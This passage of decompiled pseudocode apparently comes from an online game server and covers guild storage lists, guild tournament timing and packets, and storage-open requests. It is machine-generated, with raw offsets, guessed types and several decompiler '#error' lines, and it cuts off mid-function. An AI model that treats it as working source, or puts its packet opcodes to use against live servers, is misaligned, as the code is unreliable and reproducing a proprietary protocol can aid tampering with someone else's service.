v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00453F50) -------------------------------------------------------- GuildStorage::GuildStorageElement *__thiscall GuildStorage::GuildStorageManager::gsm_FindStorage(GuildStorage::GuildStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle) { int v3; // eax@0 void *v4; // esp@1 List *v5; // esi@1 GuildStorage::GuildStorageElement *result; // eax@1 GuildStorage::GuildStorageElement key; // [sp+0h] [bp-1080h]@1 unsigned int v8; // [sp+1070h] [bp-10h]@1 int v9; // [sp+1074h] [bp-Ch]@1 _EXCEPTION_DISPOSITION (__cdecl *v10)(EHExceptionRecord *, EHRegistrationNode *, void *, void *); // [sp+1078h] [bp-8h]@1 int v11; // [sp+107Ch] [bp-4h]@1 v11 = -1; v10 = _ehhandler__gsm_FindStorage_GuildStorageManager_GuildStorage__QAEPAVGuildStorageElement_2_KPAG_Z; v9 = v3; v4 = alloca(4212); v5 = (List *)this; ItemGuildStorage::ItemGuildStorage(&key.gse_Storage); key.gse_Guild = guild; v11 = 0; List::l_Search( v5, GuildStorage::GuildStorageElement::gse_GuildCompare, storagehandle, &key); v11 = -1; ItemGuildStorage::_ItemGuildStorage(&key.gse_Storage); __security_check_cookie(v8); return result; } //----- (00454000) -------------------------------------------------------- #error "454000: undefined or illegal type '#325' (funcsize=156)" //----- (00454220) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, GuildStorage::GuildStorageElement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { GuildStorage::GuildStorageElement::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (00454250) -------------------------------------------------------- int __thiscall GuildStorage::GuildStorageElement::operator_(int this, int a2) { int result; // eax@1 int v3; // edx@1 signed int v4; // ebp@1 const void *v5; // esi@2 void *v6; // edi@2 result = this; v3 = this + 4; v4 = 36; do { v5 = (const void *)(a2 - this + v3); v6 = (void *)v3; v3 += 116; --v4; memcpy(v6, v5, 0x74u); } while ( v4 ); *(_DWORD *)(this + 4184) = *(_DWORD *)(a2 + 4184); *(_DWORD *)(this + 4188) = *(_DWORD *)(a2 + 4188); *(_DWORD *)(this + 4192) = *(_DWORD *)(a2 + 4192); *(_DWORD *)(this + 4196) = *(_DWORD *)(a2 + 4196); *(_DWORD *)(this + 4200) = *(_DWORD *)(a2 + 4200); *(_BYTE *)(this + 4204) = *(_BYTE *)(a2 + 4204); return result; } //----- (004542D0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, GuildStorage::GuildStorageElement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { GuildStorage::GuildStorageElement::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (00454300) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, GuildStorage::GuildStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildStorage::GuildStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00454350) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, GuildStorage::GuildStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildStorage::GuildStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004543A0) -------------------------------------------------------- void __thiscall GuildStorage::GuildStorageManager::GuildStorageManager(GuildStorage::GuildStorageManager *this) { GuildStorage::GuildStorageManager *v1; // esi@1 signed int v2; // ecx@1 signed int v3; // eax@1 int v4; // edi@1 ListStruct *v5; // edx@3 GuildStorage::GuildStorageElement *v6; // ebp@3 int v7; // edx@3 ListStruct *v8; // edx@6 GuildStorage::GuildStorageElement *v9; // ebp@6 int v10; // edx@6 ListStruct *v11; // edx@9 GuildStorage::GuildStorageElement *v12; // ebp@9 int v13; // edx@9 ListStruct *v14; // edx@12 GuildStorage::GuildStorageElement *v15; // ebp@12 int v16; // edx@12 ListStruct *v17; // edx@15 GuildStorage::GuildStorageElement *v18; // ebp@15 int v19; // edx@15 ListStruct *v20; // edx@18 GuildStorage::GuildStorageElement *v21; // ebp@18 int v22; // edx@18 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x12Cu); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->gsm_StorageArray, 0x1070u, 300, (void (__thiscall *)(void *))GuildStorage::GuildStorageElement::GuildStorageElement, (void (__thiscall *)(void *))GuildStorage::GuildStorageElement::_GuildStorageElement); v2 = 2; v3 = 3; v4 = (int)&v1->gsm_StorageArray[1]; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v5 = v1->baseclass_0.l_Array; v6 = v5[v3 - 3].ls_Content; v7 = (int)&v5[v3 - 3]; if ( !v6 ) *(_DWORD *)v7 = v4 - 4208; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v8 = v1->baseclass_0.l_Array; v9 = v8[v3 - 2].ls_Content; v10 = (int)&v8[v3 - 2]; if ( !v9 ) *(_DWORD *)v10 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v11 = v1->baseclass_0.l_Array; v12 = v11[v3 - 1].ls_Content; v13 = (int)&v11[v3 - 1]; if ( !v12 ) *(_DWORD *)v13 = v4 + 4208; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v14 = v1->baseclass_0.l_Array; v15 = v14[v3].ls_Content; v16 = (int)&v14[v3]; if ( !v15 ) *(_DWORD *)v16 = v4 + 8416; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v17 = v1->baseclass_0.l_Array; v18 = v17[v3 + 1].ls_Content; v19 = (int)&v17[v3 + 1]; if ( !v18 ) *(_DWORD *)v19 = v4 + 12624; } if ( v2 + 3 < v1->baseclass_0.l_MaxSize ) { v20 = v1->baseclass_0.l_Array; v21 = v20[v3 + 2].ls_Content; v22 = (int)&v20[v3 + 2]; if ( !v21 ) *(_DWORD *)v22 = v4 + 16832; } v2 += 6; v3 += 6; v4 += 25248; } while ( v2 - 2 < 300 ); } // 5B1104: using guessed type int (__stdcall *List_GuildStorage__GuildStorageElement____vftable_[3])(__int16 hnd); //----- (00454500) -------------------------------------------------------- bool __thiscall FieldMap::fm_IsGuildTournametnMap(int this) { int v1; // eax@1 bool result; // al@2 int v3; // esi@3 _UNKNOWN *v4; // eax@3 unsigned int v5; // edx@3 v1 = *(_DWORD *)(this + 172); if ( v1 ) { result = v1 == 1; } else { v3 = *(_DWORD *)this; *(_DWORD *)(this + 172) = 1; v4 = &unk_C8F1F01; v5 = 0; while ( *((_DWORD *)v4 - 2) != v3 || *((_DWORD *)v4 - 1) != *(_DWORD *)(this + 4) || *(_DWORD *)v4 != *(_DWORD *)(this + 8) ) { v5 += 13; v4 = (char *)v4 + 13; if ( v5 >= 0x193 ) { *(_DWORD *)(this + 172) = 2; return 0; } } result = 1; } return result; } //----- (00454560) -------------------------------------------------------- void __thiscall GuildTouramentLoginDataInfo::GuildTouramentLoginDataInfo(GuildTouramentLoginDataInfo *this) { *(_QWORD *)&this->gta_Field.n3_name[4] = 0i64; *(_DWORD *)&this->gta_Field.n3_name[0] = 0; this->gta_Struct.nTournamentSeed = -1; } //----- (00454580) -------------------------------------------------------- bool __thiscall GuildTouramentLoginDataInfo::IsAccessTime(GuildTouramentLoginDataInfo *this) { unsigned int v1; // esi@1 unsigned int v2; // edx@2 v1 = this->gta_MatchStartTime; return v1 && (v2 = (unsigned __int64)(8246337211200i64 * this->gta_Struct.nExploerTimeMin) >> 32, clockwatch.cw_CurrTick <= v1 + ((signed int)v2 >> 2) + (v2 >> 31)); } //----- (004545C0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsGuildTournamentAccessTime(int this) { int v1; // esi@1 v1 = *(&guildtournamentinfo.gta_MatchStartTime + 9 * *(_BYTE *)(this + 23614)); return v1 && clockwatch.cw_CurrTick <= v1 + 4800 * *(&guildtournamentinfo.gta_Struct.nExploerTimeMin + 18 * *(_BYTE *)(this + 23614)) / 10; } //----- (00454610) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournament_isSummon(void *this) { void *v1; // ebp@1 char *v2; // esi@1 unsigned int v3; // eax@2 int v4; // edi@5 int v5; // eax@7 int i; // [sp+10h] [bp-4h]@1 v1 = this; i = 0; v2 = &guildtournamentinfo.gta_Field.n3_name[8]; while ( 1 ) { LOBYTE(v3) = *(v2 - 25); if ( (_BYTE)v3 == -1 || (v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1980))(v1), v3 != *((_DWORD *)v2 - 4)) && (v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1980))(v1), v3 != *((_DWORD *)v2 - 3)) ) goto LABEL_11; v4 = *(_DWORD *)(v2 + 7); if ( !v4 || (v3 = v4 + 4800 * *((_WORD *)v2 - 11) / 10, clockwatch.cw_CurrTick > v3) ) return v3; v5 = *(_DWORD *)((char *)v1 + 98); if ( *(_DWORD *)v5 == *((_DWORD *)v2 - 2) ) { if ( *(_DWORD *)(v5 + 4) == *((_DWORD *)v2 - 1) ) { v3 = *(_DWORD *)(v5 + 8); if ( v3 == *(_DWORD *)v2 ) break; } } LOBYTE(v3) = (*(int (__thiscall **)(void *, char *, int))(*(_DWORD *)v1 + 2252))(v1, v2 - 25, i); LABEL_11: v2 += 36; ++i; if ( (signed int)v2 >= 210707761 ) return v3; } *((_BYTE *)v1 + 23614) = i; return v3; } //----- (004546E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Send2GuildTournamentLogIn(void *this, int gt_start, char nTournamentSeed) { void *v3; // esi@1 int v4; // edi@4 const char *v5; // eax@4 int v6; // edi@4 const char *v7; // eax@4 int v8; // eax@7 v3 = this; if ( (*(int (**)(void))(*(_DWORD *)this + 1980))() == *(_DWORD *)(gt_start + 9) || (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1980))(v3) == *(_DWORD *)(gt_start + 13) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2572))(v3) ) { *((_BYTE *)v3 + 23614) = nTournamentSeed; *(_WORD *)gpp.pp_Buffer = 29851; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_Send2GuildTournamentLogIn : Packet Too Long", 3); } } else { v4 = *(_DWORD *)v3; v5 = ShineScript::ss_String(&shinescriptetc, "GTEntryMapErr0"); (*(void (__thiscall **)(void *, const char *))(v4 + 1836))(v3, v5); v6 = *(_DWORD *)v3; v7 = ShineScript::ss_String(&shinescriptetc, "GTEntryMapErr1"); (*(void (__thiscall **)(void *, const char *))(v6 + 1836))(v3, v7); } } } //----- (004547B0) -------------------------------------------------------- char __thiscall FieldMap::fm_GuildTournamentClear(int this) { void *v1; // esi@1 int v2; // eax@1 int v3; // eax@2 v1 = (void *)this; *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * *(_BYTE *)(this + 152)) = -1; *(&guildtournamentinfo.gta_MatchStartTime + 9 * *(_BYTE *)(this + 152)) = 0; *(_BYTE *)(this + 152) = -1; v2 = FieldMap::fm_GetGuildTournamentSystem((void *)this); if ( v2 ) { v3 = FieldMap::fm_GetGuildTournamentSystem(v1); LOBYTE(v2) = GuildTournamentSystem::Clear((GuildTournamentSystem *)v3); } return v2; } //----- (00454800) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::mb_SendMyGuildInfo(int this, int a2) { char *v2; // eax@2 int v3; // eax@4 if ( *(_DWORD *)(this + 8380) ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29837; *((_WORD *)v2 + 1) = *(_WORD *)(this + 4); *((_DWORD *)v2 + 1) = *(_DWORD *)(this + 8380); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v3 + 12))(v3, a2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineMob::mb_SendMyGuildInfo : Packet Too Long", 8); } } } //----- (00454870) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStoreGradeFill(int this, char Grade) { char result; // al@1 result = Grade; *(_BYTE *)(this + 23613) = Grade; return result; } //----- (00454880) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_ply_isGuildAcademyRewardStoreGrade() { return 99; } //----- (00454890) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildStoreGrade(int this) { return *(_BYTE *)(this + 23613) <= 0u; } //----- (004548A0) -------------------------------------------------------- #error "4548A0: undefined or illegal type '#325' (funcsize=29)" //----- (004548F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_REQ(void *this, int netcmd, int len, __int16 handle) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 2260))(*(_WORD *)(netcmd + 2)); } //----- (00454910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Out(int this, int nSeedNumber) { int v2; // esi@1 int v3; // ecx@2 v2 = this; if ( !ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(this) ) { v3 = *(_DWORD *)(v2 + 98); if ( v3 ) { if ( FieldMap::fm_IsGuildTournametnMap(v3) ) ShineObjectClass::ShinePlayer::sp_2Roumen((void *)v2); } } } //----- (00454940) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL(void *this, __int16 nType, int nUseSkill) { char *v3; // eax@1 void *v4; // esi@1 int v5; // eax@3 char *v6; // edi@5 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@5 int v8; // [sp+24h] [bp-4h]@5 v3 = gpp.pp_Buffer; v4 = this; *(_WORD *)gpp.pp_Buffer = 29904; *((_WORD *)v3 + 1) = nType; *((_WORD *)v3 + 2) = nUseSkill; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_ACK : Packet Too Long", 6); } if ( nUseSkill != 65535 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29905; *(_DWORD *)(v6 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); *((_WORD *)v6 + 3) = nUseSkill; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v8 = 0; ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&alchat, 1); v8 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (00454A30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_ACK(void *this, __int16 nType) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29899; *((_WORD *)v2 + 1) = nType; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_ACK : Packet Too Long", 4); } } //----- (00454A90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD(int this, __int16 nType) { char *v2; // eax@1 int v3; // esi@1 int v4; // ST08_4@1 int v5; // eax@1 int v6; // eax@3 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@1 int v8; // [sp+38h] [bp-4h]@1 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29900; *((_WORD *)v2 + 1) = nType; *((_WORD *)v2 + 2) = *(_WORD *)(this + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v4 = *(_DWORD *)(v3 + 78); v8 = 0; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v5, v4, 0, 0, (int)&alchat, 0, 65535); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD : Packet Too Long", 6); } v8 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00454B70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_ACK(void *this, __int16 nType) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29908; *((_WORD *)v2 + 1) = nType; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_ACK : Packet Too Long", 4); } } //----- (00454BD0) -------------------------------------------------------- #error "454BD0: undefined or illegal type '#325' (funcsize=56)" //----- (00454CC0) -------------------------------------------------------- void __thiscall FieldMap::fm_GuildTournamentEnd(void *this, int winner, int loser) { void *v3; // esi@1 char v4; // cl@3 int v5; // esi@3 char *v6; // eax@5 ZoneBaseSession *v7; // eax@7 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnd"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GuildTournamentEnd"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_BYTE *)v3 + 152) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldMap::fm_GuildTournamentEnd : Seed not set", *((_BYTE *)v3 + 152)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnd"); } else { v4 = *((_BYTE *)v3 + 152); v5 = 36 * *((_BYTE *)v3 + 152); if ( *(&guildtournamentinfo.gta_Struct.nTournamentSeed + v5) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldMap::fm_GuildTournamentEnd : Seed not set<2>", 255); } else { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29826; v6[2] = v4; *(_WORD *)(v6 + 3) = *(unsigned __int16 *)((char *)&guildtournamentinfo.gta_Struct.nTournamentMapNo + v5); *(_DWORD *)(v6 + 6) = winner; v6[5] = winner == loser; *(_DWORD *)(v6 + 10) = loser; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step : Packet Too Long", 14); } *(&guildtournamentinfo.gta_Result2WMS + v5) = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnd"); } } //----- (00454E50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_SetGuildRegNum(void *this, int gld) { void *v2; // esi@1 char *v3; // eax@1 int v4; // edx@1 int v5; // ST04_4@1 int v6; // eax@1 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@1 int v8; // [sp+30h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetGuildRegNum"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_SetGuildRegNum"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 2095) = gld; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29837; *((_WORD *)v3 + 1) = *((_WORD *)v2 + 2); v4 = *((_DWORD *)v2 + 2095); v8 = 0; *((_DWORD *)v3 + 1) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v5 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v8) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v6, v5, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetGuildRegNum"); } //----- (00454F50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2000))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD"); } //----- (00454FF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@3 ZoneBaseSession *v6; // eax@5 char *v7; // edi@6 ZoneBaseSession *v8; // eax@8 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4) ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13425; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ : Packet Too Long", 12); } v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29854; *((_WORD *)v7 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ : Packet Too Long", 8); } } else { ShineObjectClass::ShinePlayer::sp_GuildStorageError(v4, 4674); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ"); } //----- (00455160) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_MEMBERGRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@1 unsigned int v4; // ebx@1 char *v5; // esi@3 DebugLogging *v6; // eax@11 DebugLogging *v7; // esi@11 _iobuf *v8; // esi@13 char *v9; // [sp-10h] [bp-20h]@7 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v4 = 0; if ( v3 == 7000 ) { if ( *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1) > 0u ) { v5 = (char *)&netcmd[5].protocol + 1; do { GuildTournamentSystem::SetGuildMemberGrade(*(_DWORD *)v5, (unsigned __int8)v5[4]); ++v4; v5 += 5; } while ( v4 < *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1) ); } goto LABEL_15; } if ( v3 == 7001 ) { v9 = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK : ERR_GUILDTOURNAMENT_MEMBERGRADE_NOT_FOUND"; LABEL_10: DebugLogging::operator<<(&GuildTournamentLog, v9); goto LABEL_11; } if ( v3 == 7002 ) { v9 = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK : ERR_GUILDTOURNAMENT_MEMBERGRADE_NOT_TOURNAMENT"; goto LABEL_10; } LABEL_11: v6 = DebugLogging::operator<<( &GuildTournamentLog, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK : ErrorCode :"); v7 = v6; if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00455290) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { int v3; // edi@1 void *v4; // eax@2 int v5; // eax@3 